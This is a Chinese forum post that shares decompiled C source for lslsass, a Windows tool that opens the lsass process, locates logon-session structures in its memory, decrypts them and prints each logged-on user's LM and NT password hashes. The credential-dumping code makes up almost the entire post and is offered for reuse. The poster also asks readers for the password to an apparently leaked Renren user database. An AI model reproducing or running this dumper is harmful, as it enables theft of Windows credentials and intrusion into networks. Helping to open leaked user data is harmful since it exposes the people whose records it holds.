这是早期逆向 lslsass32.exe 的一份代码 大概为完整代码的95% 完整代码已经给我朋友pang0了 他暂时不想发出来
就先发这份代码吧 会调试的弄个完整的也花不了多少时间 另外 谁知道人人网2.8GB数据库压缩包的解压密码 知道的麻烦短信告知 先谢啦
好像很多人不知道这个工具 这个工具和WCE类似 可以从活动进程中列出所有登录用户的HASH
原始工具下载地址:http://www.truesec.se/sakerhet/verktyg/saakerhet/lslsass_v1.0_%28x86%29
#include "stdafx.h" #include <windows.h> #include <TLHELP32.H> /* FuncitonName : doEnablePrivilege ReturnValue: TRUE ----- Successed FASLE ----- Failed */ BOOL doEnablePrivilege(LPCWSTR lpszPrivilege, BOOL bEnablePrivilege) { HANDLE hCur; // eax@3 struct _TOKEN_PRIVILEGES NewState; // [sp+0h] [bp-44h]@3 struct _LUID Luid; // [sp+18h] [bp-2Ch]@1 HANDLE TokenHandle; // [sp+28h] [bp-1Ch]@3 if ( !LookupPrivilegeValueW(0, lpszPrivilege, &Luid) ) { printf("LookupPrivilegeValue error: %u\n", GetLastError() ); return FALSE; } NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid.LowPart = Luid.LowPart; NewState.Privileges[0].Luid.HighPart = Luid.HighPart; NewState.Privileges[0].Attributes = bEnablePrivilege != 0 ? SE_PRIVILEGE_ENABLED : 0; hCur = GetCurrentProcess(); if ( !OpenProcessToken(hCur, TOKEN_ALL_ACCESS, &TokenHandle) ) { printf("OpenProcessToken error: %u\n", GetLastError() ); return FALSE; } if ( !AdjustTokenPrivileges(TokenHandle, 0, &NewState, sizeof(TOKEN_PRIVILEGES), 0, 0) ) { printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); return FALSE; } CloseHandle(TokenHandle); return TRUE; } /* FuncitonName : doGetProcessId ReturnValue: dwPid ---- return the process id */ DWORD doGetProcessId(const wchar_t *wszProcess) { HANDLE hSnapshot; // eax@3 PROCESSENTRY32W pe; // [sp+30h] [bp+0h]@1 DWORD dwPid = 0; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if ( hSnapshot == (HANDLE)INVALID_HANDLE_VALUE ) { printf("CreateToolhelp32Snapshot error: %u\n", GetLastError() ); return 0; } pe.dwSize = sizeof( PROCESSENTRY32 ); if ( !Process32FirstW(hSnapshot, &pe) ) { printf("Process32FirstW error: %u\n", GetLastError() ); CloseHandle( hSnapshot ); return 0; } do { if ( wcsstr(pe.szExeFile, wszProcess) ) { dwPid = pe.th32ProcessID; } } while ( Process32NextW(hSnapshot, &pe) ); CloseHandle(hSnapshot); return dwPid; } struct StrProcess{ HANDLE hProcess; /* 0x00 0 Process Handle */ DWORD dwPid; /* 0x04 1 Process ID */ DWORD pHeap1; /* 0x08 2 free(PHeap1) */ DWORD lpAddrTemp; /* 0x0C 3 -28 */ DWORD lpAddrReal; /* 0x10 4 -28 pAddr-24--->found real token */ DWORD Unknow4; /* 0x14 5 ... */ DWORD Unknow5; /* 0x18 6 ... */ }; void doOpenLsassProcess(StrProcess *stProcess) { HANDLE hProcess; // edi@1 int nPid; // eax@1 stProcess->hProcess = NULL; doEnablePrivilege(L"SeDebugPrivilege", TRUE); nPid = doGetProcessId( L"lsass.exe"); stProcess->dwPid = nPid; printf("Found Lsass pid: %u\n", nPid); hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION, TRUE, stProcess->dwPid);//0x438 if ( stProcess->hProcess ) CloseHandle(stProcess->hProcess); stProcess->hProcess = hProcess; printf("Lsass process open\n"); stProcess->pHeap1 = 0; stProcess->Unknow5 = 0; stProcess->Unknow4 = 0; return ; } unsigned int doInitAddr(StrProcess *stProcess) { unsigned int dwRet; // eax@1 dwRet = 0xFFFFFFE4u; stProcess->lpAddrReal = 0xFFFFFFE4u; stProcess->lpAddrTemp = 0xFFFFFFE4u; return dwRet; } void doLeave(StrProcess *stProcess) { if ( stProcess->pHeap1 ) free((void *)stProcess->pHeap1); if ( stProcess->hProcess ) CloseHandle(stProcess->hProcess); } BOOL doFindToken(StrProcess *stProcess) { DWORD dwAddr2; // esi@4 DWORD dwAddr3; // eax@21 SIZE_T NumberOfBytesRead; // [sp+14h] [bp-40h]@5 DWORD dwFound; // [sp+1Ch] [bp-38h]@9 DWORD dwData[2]; // [sp+20h] [bp-34h]@5 struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+38h] [bp-1Ch]@2 HANDLE hProcess = stProcess->hProcess; DWORD dwAddr = stProcess->lpAddrTemp + 28; // 前面初始化为-28 if ( dwAddr >= 0x70000000 ) return 0; while ( 1 ) { if ( !VirtualQueryEx(hProcess, (LPCVOID)dwAddr, &Buffer, sizeof(MEMORY_BASIC_INFORMATION)) || Buffer.Type != MEM_PRIVATE ) goto LABEL_14; dwAddr2 = dwAddr; if ( dwAddr < dwAddr + Buffer.RegionSize ) break; LABEL_14: dwAddr3 = (dwAddr + 4096) & 0xFFFFF000; dwAddr = Buffer.RegionSize + (DWORD)Buffer.BaseAddress; if ( dwAddr3 > dwAddr ) dwAddr = dwAddr3; if ( dwAddr >= 0x70000000 ) return 0; } while ( 1 ) { if ( !ReadProcessMemory(hProcess, (LPCVOID)dwAddr2, (LPVOID)&dwData, 8u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( dwData[0] == 0x6D697250 ) //特征码1 { if ( dwData[1] == 0x797261 ) //特征码2 通过特征码来确定是否找到令牌 { printf("Found possible primary token\n"); if ( !ReadProcessMemory(hProcess, (LPCVOID)(dwAddr2 - 12), (LPVOID)&dwFound, 4u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( dwFound == dwAddr2 ) break; } } dwAddr2 += 4; if ( dwAddr2 >= dwAddr + Buffer.RegionSize ) goto LABEL_14; } printf("Found real token\n"); stProcess->lpAddrReal = dwAddr2 - 24; return 1; } struct strBuff2{ DWORD dwAddr; HANDLE hProcess; }; BOOL doReadProcessMemory(strBuff2 *stBuf, LPVOID lpBuffer, SIZE_T NumberOfBytesRead) { BOOL bRet; // eax@1 bRet = ReadProcessMemory(stBuf->hProcess, (LPCVOID)stBuf->dwAddr, lpBuffer, NumberOfBytesRead, &NumberOfBytesRead); if ( !bRet ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } return bRet; } DWORD doReadProcessMemory2(strBuff2 *stBuf) { SIZE_T NumberOfBytesRead; // [sp+0h] [bp-10h]@1 DWORD Buffer; // [sp+4h] [bp-Ch]@1 if ( !ReadProcessMemory(stBuf->hProcess, (LPCVOID)stBuf->dwAddr, &Buffer, 4u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } return Buffer; } #pragma comment(lib,"Bcrypt") #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) /* bMode: TRUE : Encrypt FALSE : Decrypt */ NTSTATUS __cdecl doBCryptData(PUCHAR pbInput, ULONG cbInput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr, BOOL bMode) { NTSTATUS ntStatus; // eax@1 char dwFlagOpen; // bl@1 PUCHAR pbKeyObject; // ecx@5 ULONG dwFlags; // edx@10 PUCHAR pbOutput; // edi@10 int nStatus; // edx@10 bool bFlag; // zf@10 NTSTATUS ntStatus2; // eax@12 BCRYPT_ALG_HANDLE hAlgorithm; // [sp+Ch] [bp-38h]@1 UCHAR cbKeyObject[4]; // [sp+10h] [bp-34h]@3 BCRYPT_KEY_HANDLE hKey; // [sp+14h] [bp-30h]@8 ULONG pcbResult; // [sp+1Ch] [bp-28h]@3 DWORD pbIV[2]; // [sp+20h] [bp-24h]@9 DWORD pbSecret[6]; // [sp+28h] [bp-1Ch]@7 dwFlagOpen = 0; ntStatus = BCryptOpenAlgorithmProvider(&hAlgorithm, L"3DES", 0, 0); if ( !ntStatus ) { dwFlagOpen = 1; ntStatus = BCryptSetProperty(hAlgorithm, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 32u, 0); } *(DWORD *)cbKeyObject = 0; pcbResult = 4; if ( !ntStatus ) ntStatus = BCryptGetProperty(hAlgorithm, L"ObjectLength", cbKeyObject, 4u, &pcbResult, 0); pbKeyObject = 0; if ( !ntStatus ) { pbKeyObject = (PUCHAR)malloc(*(size_t *)cbKeyObject); ntStatus = (pbKeyObject != 0 ? -STATUS_UNSUCCESSFUL : 0) + STATUS_UNSUCCESSFUL; } pbSecret[0] = *pbSecretAddr; pbSecret[1] = pbSecretAddr[1]; pbSecret[2] = pbSecretAddr[2]; pbSecret[3] = pbSecretAddr[3]; pbSecret[4] = pbSecretAddr[4]; pbSecret[5] = pbSecretAddr[5]; if ( !ntStatus ) ntStatus = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, pbKeyObject, *(ULONG *)cbKeyObject, (PUCHAR)pbSecret, 24u, 0); pbIV[0] = npbIV1; pbIV[1] = npbIV2; if ( !ntStatus ) { pbOutput = (PUCHAR)malloc(cbInput); nStatus = pbOutput != 0 ? -STATUS_UNSUCCESSFUL : 0; bFlag = nStatus == -STATUS_UNSUCCESSFUL; dwFlags = nStatus + STATUS_UNSUCCESSFUL; if ( bFlag ) { if ( bMode ) ntStatus2 = BCryptEncrypt(hKey, pbInput, cbInput, 0, (PUCHAR)pbIV, 8u, pbOutput, cbInput, &pcbResult, dwFlags); else ntStatus2 = BCryptDecrypt(hKey, pbInput, cbInput, 0, (PUCHAR)pbIV, 8u, pbOutput, cbInput, &pcbResult, dwFlags); if ( !ntStatus2 ) { memcpy(pbInput, pbOutput, cbInput); free(pbOutput); } } ntStatus = BCryptDestroyKey(hKey); } if ( dwFlagOpen ) ntStatus = BCryptCloseAlgorithmProvider(hAlgorithm, 0); return ntStatus; } NTSTATUS __cdecl doBCryptDecryptData(PUCHAR pbInput, ULONG cbOutput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr) { return doBCryptData(pbInput, cbOutput, npbIV1, npbIV2, pbSecretAddr, 0); } NTSTATUS __cdecl doBCryptEncryptData(PUCHAR pbInput, ULONG cbOutput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr) { return doBCryptData(pbInput, cbOutput, npbIV1, npbIV2, pbSecretAddr, 1); } DWORD doFindAddr(StrProcess *stProcess) { SIZE_T dwAddr1; // esi@2 SIZE_T dwAddr2; // eax@5 SIZE_T dwAddr3; // [sp+14h] [bp-64h]@2 DWORD dwData1; // [sp+20h] [bp-58h]@6 DWORD dwData2; // [sp+28h] [bp-50h]@9 DWORD dwData3; // eax@12 SIZE_T NumberOfBytesRead; // [sp+1Ch] [bp-5Ch]@6 strBuff2 stBuf; // [sp+2Ch] [bp-4Ch]@12 strBuff2 stBuf2; // [sp+34h] [bp-44h]@13 strBuff2 stBuf3; // [sp+3Ch] [bp-3Ch]@14 strBuff2 stBuf4; // [sp+54h] [bp-24h]@26 struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+5Ch] [bp-1Ch]@3 if ( stProcess->Unknow5 ) return stProcess->Unknow5; dwAddr1 = 0; dwAddr3 = 0; while ( 1 ) { if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr1, &Buffer, 28u) || Buffer.Type != MEM_PRIVATE ) { dwAddr2 = Buffer.RegionSize; goto LABEL_17; } dwAddr2 = Buffer.RegionSize; if ( dwAddr1 < Buffer.RegionSize + dwAddr1 ) break; LABEL_17: if ( dwAddr2 < 0x1000 ) dwAddr2 = 4096; dwAddr1 += dwAddr2; dwAddr3 = dwAddr1; if ( dwAddr1 >= 0x70000000 ) { return 0; } } while ( 1 ) { if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)(dwAddr1 + 4), &dwData1, 4u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( dwData1 == 0x55555552 ) //特征码1 { if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr1, &dwData2, 4u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( dwData2 <= 32 ) { stBuf.hProcess = stProcess->hProcess; stBuf.dwAddr = dwAddr1 + 12; dwData3 = doReadProcessMemory2(&stBuf); if ( dwData3 - dwData2 - dwAddr1 <= 12 ) { stBuf2.hProcess = stProcess->hProcess; stBuf2.dwAddr = dwData3 + 4; if ( doReadProcessMemory2(&stBuf2) == 0x4D53534B ) //特征码1 { stBuf3.hProcess = stProcess->hProcess; stBuf3.dwAddr = dwData3 + 8; if ( doReadProcessMemory2(&stBuf3) == 0x10005 ) //特征码1 break; } } } } dwAddr2 = Buffer.RegionSize; dwAddr1 += 4; if ( dwAddr1 >= Buffer.RegionSize + dwAddr3 ) { dwAddr1 = dwAddr3; goto LABEL_17; } } stProcess->Unknow5 = dwAddr1; stBuf4.hProcess = stProcess->hProcess; stBuf4.dwAddr = dwData3 + 28; doReadProcessMemory(&stBuf4, &stProcess[1].lpAddrTemp, 24u); return stProcess->Unknow5; } DWORD doFindAddr2(StrProcess *stProcess) { HMODULE hLsasrv; // eax@1 SIZE_T dwAddr1; // eax@6 DWORD dwAddr2; // esi@6 DWORD dwAddr3; // ebp@1 DWORD dwAddr4; // ebx@3 SIZE_T NumberOfBytesRead; // [sp+10h] [bp-48h]@7 DWORD dwData1; // [sp+14h] [bp-44h]@7 DWORD dwData2[2]; // [sp+1Ch] [bp-3Ch]@10 struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+3Ch] [bp-1Ch]@4 doFindAddr(stProcess); hLsasrv = LoadLibraryW(L"lsasrv.dll"); dwAddr3 = (DWORD)hLsasrv; if ( !hLsasrv ) { printf("LoadLibraryW error: %u\n", GetLastError() ); return 0; } FreeLibrary(hLsasrv); dwAddr4 = dwAddr3; if ( dwAddr3 >= dwAddr3 + 0x1000000 ) { return 0; } while ( 1 ) { if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr4, &Buffer, 28u) || Buffer.Type == MEM_FREE ) { dwAddr1 = Buffer.RegionSize; goto LABEL_17; } dwAddr1 = Buffer.RegionSize; dwAddr2 = dwAddr4; if ( dwAddr4 < Buffer.RegionSize + dwAddr4 ) break; LABEL_17: if ( dwAddr1 < 0x1000 ) dwAddr1 = 4096; dwAddr4 += dwAddr1; if ( dwAddr4 >= dwAddr3 + 0x1000000 ) return 0; } while ( 1 ) { if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr2, &dwData1, 4u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( dwData1 == stProcess->Unknow5 ) { if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)(dwAddr2 + 16), &dwData2, 8u, &NumberOfBytesRead) ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( dwData2[1] & 0xFFFFFF00 ) { if ( LOWORD(dwData2[0]) ) { if ( ((dwData2[0] ^ dwAddr3) & 0xFF000000) <= 0x4000000 ) break; } } } dwAddr1 = Buffer.RegionSize; dwAddr2 += 4; if ( dwAddr2 >= Buffer.RegionSize + dwAddr4 ) { goto LABEL_17; } } stProcess[1].pHeap1 = dwData2[1]; stProcess->Unknow4 = dwAddr2 + 16; stProcess[1].dwPid = dwData2[0]; return (dwAddr2 + 16); } DWORD doFindAddr3(StrProcess *stProcess) { HMODULE hLsasrvDll; // eax@3 DWORD dwAddr5; // esi@3 DWORD dwAddr1; // ebx@5 SIZE_T dwAddr3; // eax@8 DWORD dwAddr2; // edi@8 DWORD dwAddr4; // [sp+14h] [bp-48h]@5 DWORD *pAddr; // eax@3 SIZE_T NumberOfBytesRead; // [sp+10h] [bp-4Ch]@9 DWORD pbInput[2]; // [sp+18h] [bp-44h]@3 DWORD nHData2[2]; // [sp+20h] [bp-3Ch]@3 DWORD nHData1[2]; // [sp+30h] [bp-2Ch]@9 struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+40h] [bp-1Ch]@6 doFindAddr(stProcess); pAddr = *(DWORD **)(stProcess->pHeap1 + 20); pbInput[0] = *pAddr; pbInput[1] = pAddr[1]; doBCryptDecryptData((PUCHAR)pbInput, 8u, 0, 0, &stProcess[1].lpAddrTemp); nHData2[0] = pbInput[0] & 0xFF00FF00; nHData2[1] = pbInput[1] & 0xFFFFFF00; hLsasrvDll = LoadLibraryW(L"lsasrv.dll"); dwAddr5 = (DWORD)hLsasrvDll; if ( !hLsasrvDll ) { printf("LoadLibraryW error: %u\n", GetLastError() ); return 0; } FreeLibrary(hLsasrvDll); dwAddr1 = dwAddr5; dwAddr4 = dwAddr5 + 0x1000000; if ( dwAddr5 >= dwAddr5 + 0x1000000 ) { return 0; } while ( 1 ) { if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr1, &Buffer, 28u) || Buffer.Type == MEM_FREE ) { dwAddr3 = Buffer.RegionSize; goto LABEL_16; } dwAddr3 = Buffer.RegionSize; dwAddr2 = dwAddr1; if ( dwAddr1 < Buffer.RegionSize + dwAddr1 ) break; LABEL_16: if ( dwAddr3 < 0x1000 ) dwAddr3 = 4096; dwAddr1 += dwAddr3; if ( dwAddr1 >= dwAddr4 ) return 0; } while ( 1 ) { if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr2, nHData1, 8u, &NumberOfBytesRead) && NumberOfBytesRead == 8 ) { printf("ReadProcessMemory error: %u\n", GetLastError() ); return 0; } if ( (nHData1[0] & 0xFF00FF00) == nHData2[0] ) { if ( (nHData1[1] & 0xFFFFFF00) == nHData2[1] && (unsigned __int16)(LOWORD(pbInput[0]) ^ LOWORD(nHData1[0])) + 2 == (pbInput[0] ^ nHData1[0]) >> 16 ) break; } dwAddr3 = Buffer.RegionSize; dwAddr2 += 4; if ( dwAddr2 >= Buffer.RegionSize + dwAddr1 ) { goto LABEL_16; } } stProcess[1].pHeap1 = nHData1[1]; stProcess->Unknow4 = dwAddr2; stProcess[1].dwPid = nHData1[0]; return dwAddr2; } typedef unsigned __int64 QWORD; __int64 doGetnpbIV(DWORD dwAddr, StrProcess *stProcess) { if ( !stProcess->Unknow4 ) { doFindAddr3(stProcess); if ( !stProcess->Unknow4 ) doFindAddr2(stProcess); } return *(QWORD *)&stProcess[1].dwPid; } #define HIDWORD(x) (*((DWORD*)&(x)+1)) struct strHashInfo{ // 48 bytes BYTE btDomain[8]; //域名 或 机器名 BYTE btUsername[8]; //用户名 BYTE btPwdNtHash[16]; // NT Hash BYTE btPwdLmHash[16]; // LM Hash }; DWORD doDecryptMemBlock(StrProcess *stProcess) { StrProcess *stProcess2; // edi@1 DWORD dwAddr3; // eax@5 HANDLE hProcess; // ebx@5 strHashInfo *v4; // esi@8 SIZE_T v5; // ecx@8 SIZE_T v6; // ST10_4@8 void *v7; // ST0C_4@8 PUCHAR pbInput; // ebx@10 __int64 nHnpbIV; // qax@10 SIZE_T NumberOfBytesRead; // [sp+18h] [bp-34h]@5 DWORD v12; // [sp+1Ch] [bp-30h]@7 int v13; // [sp+20h] [bp-2Ch]@7 strBuff2 stBuf; // [sp+24h] [bp-28h]@8 strBuff2 stBuf2; // [sp+2Ch] [bp-20h]@8 BYTE v16; // [sp+34h] [bp-18h]@5 stProcess2 = stProcess; if ( stProcess->lpAddrReal == stProcess->lpAddrTemp ) doFindToken(stProcess); if ( stProcess2->lpAddrReal == stProcess2->lpAddrTemp ) RaiseException(259u, 0, 0, 0); dwAddr3 = stProcess2->lpAddrReal; hProcess = stProcess2->hProcess; stProcess2->lpAddrTemp = dwAddr3; if ( !ReadProcessMemory(hProcess, (LPCVOID)dwAddr3, &v16, 24u, &NumberOfBytesRead) ) { if ( NumberOfBytesRead == 24 ) { } } v4 = (strHashInfo *)malloc(*((unsigned __int16 *)&v16 + 9) + *((unsigned __int16 *)&v16 + 5) + 24); *(DWORD *)&v4->btUsername[0] = *((DWORD *)&v16 + 2); v5 = *(WORD *)&v4->btUsername[2]; *(DWORD *)&v4->btUsername[4] = *((DWORD *)&v16 + 3); *(DWORD *)&v4->btPwdNtHash[0] = *((DWORD *)&v16 + 4); *(DWORD *)&v4->btUsername[4] = (char *)v4 + 24; *(DWORD *)&v4->btPwdNtHash[4] = (char *)v4 + v5 + 24; stBuf.hProcess = hProcess; stBuf.dwAddr = *((DWORD *)&v16 + 3); doReadProcessMemory(&stBuf, &v4->btPwdNtHash[8], v5); v6 = *(WORD *)&v4->btPwdNtHash[2]; v7 = *(void **)&v4->btPwdNtHash[4]; stBuf2.hProcess = hProcess; stBuf2.dwAddr = *((DWORD *)&v16 + 5); doReadProcessMemory(&stBuf2, v7, v6); if ( stProcess2->pHeap1 ) free((void *)stProcess2->pHeap1); stProcess2->pHeap1 = (DWORD)v4; pbInput = *(PUCHAR *)&v4->btPwdNtHash[4]; nHnpbIV = doGetnpbIV((int)&stProcess2[1].lpAddrTemp, stProcess2); doBCryptDecryptData(pbInput, *(WORD *)&v4->btPwdNtHash[2], nHnpbIV, HIDWORD(nHnpbIV), &stProcess2[1].lpAddrTemp); *((DWORD *)pbInput + 1) += pbInput; *((DWORD *)pbInput + 3) += pbInput; return stProcess2->pHeap1; } void __cdecl doShowUsage() { printf("\nUSAGE\n lslsass [ANY_ARGUMENT]\n\nDESCRIPTION"); printf("\n Dump active logon session password hashes from the lsass process.\n"); printf("\nPLATFORMS\n Windows Vista (x86/x64)\n Windows Server 2008 (x86/x64)\n Windows Server 2008 R2 (x86/x64)" "\n Windows 7 (x86/x64)\n"); } void __cdecl doShowLicense() { printf("\nLICENSE\n Freeware\n\nDISCLAIMER\n"); printf(" The software is licensed \"as-is\". You bear the risk of using it.\n"); printf(" Truesec gives no express warranties, guarantees or conditions.\n"); printf(" IF YOU DO NOT ACCEPT THIS, DO NOT USE THE SOFTWARE.\n"); } void __cdecl doShowContributors() { printf("\nCONTRIBUTORS\n Mikael Janers\n"); printf("\nCREDITS\n Hernan Ochoa\n Marcus Murray\n"); } void __cdecl doFormatHash(strHashInfo *pHashInfo) { int i; if ( pHashInfo ) { printf("%.*S", *(WORD *)&pHashInfo->btDomain[0], *(DWORD *)&pHashInfo->btDomain[4]); printf("\\"); } printf("%.*S", *(WORD *)&pHashInfo->btUsername[0], *(DWORD *)&pHashInfo->btUsername[4]); printf("::"); i = 0; do printf("%02x", pHashInfo->btPwdLmHash[i++]); while ( i < 16 ); printf(":"); i = 0; do printf("%02x", pHashInfo->btPwdNtHash[i++]); while ( i < 16 ); printf(":::\n"); } int __cdecl xmain(int argc, const char **argv, const char **envp) { int nRet; // eax@2 DWORD dwHashAddr; // eax@5 StrProcess stProcess; // [sp+10h] [bp-54h]@3 printf("\nlslsass v1.0 - Copyright (C) 2010 Bjorn Brolin, Truesec ([url]www.truesec.com[/url])\n"); if ( argc == 1 ) { printf("\nNo argument given, display usage only\n"); doShowUsage(); doShowLicense(); doShowContributors(); nRet = -1; } else { doOpenLsassProcess(&stProcess); doInitAddr(&stProcess); while ( doFindToken(&stProcess) ) { dwHashAddr = doDecryptMemBlock(&stProcess); doFormatHash(*(strHashInfo **)(dwHashAddr + 20)); } doLeave(&stProcess); nRet = 0; } return nRet; }